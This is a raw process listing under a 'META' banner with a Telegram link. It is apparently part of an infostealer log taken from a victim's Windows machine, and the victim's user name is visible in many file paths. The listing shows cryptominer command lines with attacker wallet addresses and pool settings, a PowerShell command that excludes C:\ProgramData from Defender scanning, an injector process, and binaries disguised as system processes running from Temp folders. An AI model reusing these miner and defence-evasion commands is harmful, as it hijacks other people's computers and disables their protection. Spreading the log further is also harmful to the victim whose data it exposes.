***********************************************
* _ _ _ _ *
* / \ / \ / \ / \ *
* ( M | E | T | A ) *
* \_/ \_/ \_/ \_/ *
* *
* Telegram: [Link] *
***********************************************
ID: 772, Name: [Link], CommandLine:
===============
ID: 976, Name: [Link], CommandLine: [Link]
===============
ID: 544, Name: [Link], CommandLine: "[Link]"
===============
ID: 1120, Name: [Link], CommandLine: "[Link]"
===============
ID: 2188, Name: [Link], CommandLine: "C:\Windows\System32\
DriverStore\FileRepository\nv_dispi.inf_amd64_a24f5f4b6b8a2b86\[Link]\
[Link]" -f %ProgramData%\NVIDIA\DisplaySessionContainer%[Link] -d
C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_a24f5f4b6b8a2b86\
[Link]\plugins\Session -r -l 3 -p 30000 -cfg
[Link]\Session -c
===============
ID: 4816, Name: [Link], CommandLine: [Link]
===============
ID: 4836, Name: [Link], CommandLine: C:\Windows\system32\[Link] -k
UnistackSvcGroup -s CDPUserSvc
===============
ID: 4872, Name: [Link], CommandLine: C:\Windows\system32\[Link] -k
UnistackSvcGroup -s WpnUserService
===============
ID: 4944, Name: [Link], CommandLine: [Link] {222A245B-E637-4AE9-A93F-
A59CA119A75E}
===============
ID: 5140, Name: [Link], CommandLine: "[Link]"
===============
ID: 5324, Name: [Link], CommandLine: C:\Windows\[Link]
===============
ID: 5676, Name: [Link], CommandLine: C:\Windows\system32\[Link] -k
ClipboardSvcGroup -p -s cbdhsvc
===============
ID: 6088, Name: [Link], CommandLine: "C:\Windows\SystemApps\
[Link].StartMenuExperienceHost_cw5n1h2txyewy\
[Link]" -
ServerName:[Link]
===============
ID: 5756, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 6232, Name: [Link], CommandLine: "C:\Windows\SystemApps\
[Link].Search_cw5n1h2txyewy\[Link]" -
ServerName:[Link]
===============
ID: 6708, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 6924, Name: [Link], CommandLine: "C:\Program Files\
WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\
[Link]" -ServerName:SkypeBackgroundHost
===============
ID: 6952, Name: [Link], CommandLine: "C:\Program Files\WindowsApps\
Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\[Link]" -
ServerName:[Link]
===============
ID: 7304, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Roaming\
Microsoft\Network\[Link]"
===============
ID: 7320, Name: [Link], CommandLine: C:\Users\JOLOHO~1\AppData\Local\Temp\
10180c8ca3\[Link]
===============
ID: 7408, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 8164, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\
Microsoft\OneDrive\[Link]" /background
===============
ID: 7240, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 1212, Name: [Link], CommandLine: "C:\Windows\rss\[Link]"
===============
ID: 7752, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\Temp\
csrss\injector\[Link]" [Link] "C:\Users\Jolo Hook\AppData\Local\Temp\
csrss\injector\[Link]"
===============
ID: 7360, Name: [Link], CommandLine: \??\C:\Windows\system32\[Link] 0x4
===============
ID: 7892, Name: [Link], CommandLine: "C:\Windows\SystemApps\
[Link].CBS_cw5n1h2txyewy\[Link]" -
ServerName:[Link]
===============
ID: 7616, Name: [Link], CommandLine: C:\Windows\system32\[Link]
/Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
===============
ID: 6576, Name: [Link], CommandLine: C:\ProgramData\Dllhost\[Link]
===============
ID: 3772, Name: [Link], CommandLine: "C:\Users\Jolo Hook\
Pictures\Minor Policy\[Link]"
===============
ID: 8032, Name: [Link], CommandLine: C:\Windows\system32\[Link] -k
UnistackSvcGroup
===============
ID: 2356, Name: [Link], CommandLine: C:\Windows\[Link]\Framework64\
v4.0.30319\[Link] -o [Link] -u
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5
vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
===============
ID: 8072, Name: [Link], CommandLine: "C:\Users\Jolo
Hook\AppData\Local\Temp\csrss\[Link]"
===============
ID: 7880, Name: [Link], CommandLine: \??\C:\Windows\system32\[Link] 0x4
===============
ID: 848, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\6f82bd96-
da24-4301-b5ff-137d113838a7\[Link]" --Task
===============
ID: 6488, Name: [Link], CommandLine: [Link]
===============
ID: 6052, Name: [Link], CommandLine: \??\C:\Windows\system32\[Link] 0x4
===============
ID: 6796, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\Temp\csrss\
wup\xarch\[Link]" -o [Link] --rig-id 398aded9-2945-4f92-b116-
cded84bc354f --tls --nicehash -o [Link] --rig-id 398aded9-2945-4f92-b116-
cded84bc354f --tls --nicehash -o [Link] --rig-id 398aded9-2945-4f92-b116-
cded84bc354f --nicehash --http-port 3433 --http-access-token 398aded9-2945-4f92-
b116-cded84bc354f --randomx-wrmsr=-1
===============
ID: 7476, Name: [Link], CommandLine: C:\Windows\system32\
[Link] -Embedding
===============
ID: 3104, Name: [Link], CommandLine: "C:\Windows\SystemApps\
ShellExperienceHost_cw5n1h2txyewy\[Link]" -
ServerName:[Link]
===============
ID: 3248, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 6064, Name: [Link], CommandLine: C:\ProgramData\Dllhost\[Link] -
c [Link]
===============
ID: 1396, Name: [Link], CommandLine: "C:\Program Files\WindowsApps\
Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\[Link]" -
ServerName:[Link]
===============
ID: 1448, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 6308, Name: [Link], CommandLine: "C:\Program Files\WindowsApps\
[Link].Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\
[Link]" -ServerName:[Link]
===============
ID: 7732, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 8716, Name: [Link], CommandLine: C:\Windows\System32\[Link] -
Embedding
===============
ID: 10208, Name: [Link], CommandLine: C:\Windows\System32\
[Link] -Embedding
===============
ID: 5428, Name: [Link], CommandLine: "C:\Windows\system32\
[Link]" -ServerName:[Link]
===============
ID: 9936, Name: [Link], CommandLine: [Link]
===============
ID: 2572, Name: [Link], CommandLine: "C:\Users\Jolo Hook\
Pictures\Minor Policy\[Link]"
===============
ID: 7532, Name: [Link], CommandLine: "C:\Users\Jolo Hook\
Pictures\Minor Policy\[Link]"
===============
ID: 4696, Name: [Link], CommandLine: "C:\\Windows\\[Link]\\
Framework\\v4.0.30319\\[Link]"
===============
ID: 8932, Name: [Link], CommandLine: [Link] [Link] 3956101466505 1929160690
===============
ID: 4896, Name: [Link], CommandLine: "C:\Users\Jolo
Hook\AppData\Local\Temp\csrss\[Link]" -
xor=9487yH74fU54UlmP
-m=[Link]
EupDDwlWsUCMy -btgPool=[Link] -
btgWallet=GJNo6VDtjHbMx3dp613eZXcPonhaaLQjbf.q -
ethWallet=0x1158417B5cC69841d7A5b12a7dC207B6CCd5a834.398aded9-2945-4f92-b116-
cded84bc354f -ethPool=[Link]
===============
ID: 6404, Name: [Link], CommandLine: \??\C:\Windows\system32\[Link] 0x4
===============
ID: 10072, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\Temp\csrss\
wup\[Link]" --algo 144_5 --pers BgoldPoW --server [Link] --user
GJNo6VDtjHbMx3dp613eZXcPonhaaLQjbf.q --pass x
===============
ID: 8260, Name: [Link], CommandLine: "C:\Users\Jolo Hook\AppData\Local\Temp\csrss\
wup\[Link]" --algo 144_5 --pers BgoldPoW --server [Link] --user
GJNo6VDtjHbMx3dp613eZXcPonhaaLQjbf.q --pass x --watchdog_child_process0
===============
ID: 4564, Name: [Link], CommandLine: "powershell" -Command Add-
MpPreference -ExclusionPath 'C:\ProgramData'
===============
ID: 9780, Name: [Link], CommandLine: \??\C:\Windows\system32\[Link] 0x4
===============
ID: 4984, Name: [Link], CommandLine: "C:\Program Files (x86)\Adobe\Acrobat
11.0\Acrobat\[Link]"
===============
ID: 764, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]"
===============
ID: 9704, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.0.2017623505\1857316082" -parentBuildID
20230414125621 -prefsHandle 1788 -prefMapHandle 1804 -prefsLen 27751 -prefMapSize
238661 -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" - {cb5f58d8-5fa7-
4e6b-9aef-e4482a7a6242} 764 "\\.\pipe\gecko-crash-server-pipe.764" 1892 12375bc0
gpu
===============
ID: 8812, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.1.753322059\639007136" -parentBuildID
20230414125621 -prefsHandle 2232 -prefMapHandle 2228 -prefsLen 27751 -prefMapSize
238661 -win32kLockedDown -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" -
{5314cfe8-70d8-488b-b56b-511968ba8600} 764 "\\.\pipe\gecko-crash-server-pipe.764"
2244 157a4580 socket
===============
ID: 1296, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.2.165050635\64864205" -childID 1 -
isForBrowser -prefsHandle 2752 -prefMapHandle 3080 -prefsLen 27957 -prefMapSize
238661 -jsInitHandle 1360 -jsInitLen 240056 -parentBuildID 20230414125621 -
win32kLockedDown -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" -
{d39f9d80-4c95-493f-9c80-0a065b0862bf} 764 "\\.\pipe\gecko-crash-server-pipe.764"
3252 15794840 tab
===============
ID: 6620, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.3.316217794\1540459575" -childID 2 -
isForBrowser -prefsHandle 3432 -prefMapHandle 3428 -prefsLen 23946 -prefMapSize
238661 -jsInitHandle 1360 -jsInitLen 240056 -parentBuildID 20230414125621 -
win32kLockedDown -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" -
{8cde1d5d-bcbf-4abe-b9df-18a4e3ee7894} 764 "\\.\pipe\gecko-crash-server-pipe.764"
3176 1ac8a110 tab
===============
ID: 1200, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.4.1661110139\1347016648" -childID 3 -
isForBrowser -prefsHandle 3584 -prefMapHandle 3588 -prefsLen 23946 -prefMapSize
238661 -jsInitHandle 1360 -jsInitLen 240056 -parentBuildID 20230414125621 -
win32kLockedDown -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" -
{7d42e0eb-7abe-4b9e-a4fb-ec68bfc1bf60} 764 "\\.\pipe\gecko-crash-server-pipe.764"
3576 1ac8a3f0 tab
===============
ID: 7976, Name: [Link], CommandLine: "C:\Program Files (x86)\Mozilla Firefox\
[Link]" -contentproc --channel="764.5.1451481184\255694922" -childID 4 -
isForBrowser -prefsHandle 3724 -prefMapHandle 3728 -prefsLen 23946 -prefMapSize
238661 -jsInitHandle 1360 -jsInitLen 240056 -parentBuildID 20230414125621 -
win32kLockedDown -appDir "C:\Program Files (x86)\Mozilla Firefox\browser" -
{e00712c8-9729-4cd2-86c0-67c798f89611} 764 "\\.\pipe\gecko-crash-server-pipe.764"
3852 1ac8a280 tab